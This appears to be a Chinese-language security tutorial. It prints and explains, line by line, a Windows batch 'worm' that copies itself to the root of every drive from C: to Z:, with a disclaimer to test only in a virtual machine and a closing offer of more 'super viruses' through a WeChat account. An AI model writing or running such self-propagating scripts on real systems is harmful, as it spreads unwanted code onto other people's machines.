蠕虫(worm)病毒
以下所有测试请在虚拟机实验,本文章是拓展作用,如有人用于违法事件与本文所属无关,请各位师傅遵守国家网络安全相关法规
@echo off
setlocal enabledelayedexpansion
etlocal enabledelayedexpansion就是扩展本地环境变量延迟,在cmd执行命令前会对脚本进行预处理,其中有一个过程是变量识别过程,在这个过程中,如果有两个%括起来的如%value%类似这样的变量,就会对其进行识别,并且查找这个变量对应的值,再而将值替换掉这个变量,这个替换值的过程,就叫做变量扩展,然后再执行命令。要使用!来引用变量。
:: 设置蠕虫文件的名称
set WORM_FILE=worm.bat
使用set命令将WORM_FILE作为worm.bat的新变量名,可使其在之后被调用
:: 检查当前文件是否是蠕虫文件
if not "%~nx0"=="%WORM_FILE%" (
echo This is not the worm file.
goto end
)
使用if语句判断是否已经存在了蠕虫脚本,此处使用了%~nx0来获取当前脚本文件的文件名和扩展名 %0代表当前运行的脚本文件名(包含路径) ~n用于提取文件名部分 ~x用于提取文件扩展名部分
:: 显示蠕虫启动消息
echo Starting the worm simulation...
:: 循环复制自身到其他目录
for %%d in (c d e f g h i j k l m n o p q r s t u v w x y z) do (
if exist %%d: (
if not exist %%d:\%WORM_FILE% (
copy "%~f0" "%%d:\%WORM_FILE%"
echo Copied worm to %%d:\
)
)
)
此操作是将该病毒自身复制到各个盘中,它会遍历从c到z的每个字母。 在批处理脚本中,%%d是一个循环变量,每次循环时它会依次被赋予从c到z的值 if exist %%d: 这个条件判断检查指定的磁盘分区是否存在。例如,当%%d为c时,它会检查C:盘是否存在。如果存在,则进入下一个条件判断。 copy “%~f0” “%%d:%WORM_FILE%” :%~f0在批处理脚本中表示当前正在运行的批处理文件本身的完整路径。这个命令会将当前的批处理文件复制到指定磁盘分区根目录下,并命名为%WORM_FILE%。 echo Copied worm to %%d:\:输出一条消息,表示已经将蠕虫文件复制到了指定的磁盘分区根目录下
:: 结束蠕虫模拟
:end
echo Worm simulation ended.
endlocal
欢迎各位来测试与互相学习,可以关注余速安全公众号,关注留言病毒,会给予几个超级病毒互相测试。 再次说明,请在虚拟机进行,一切违法行为概不负责。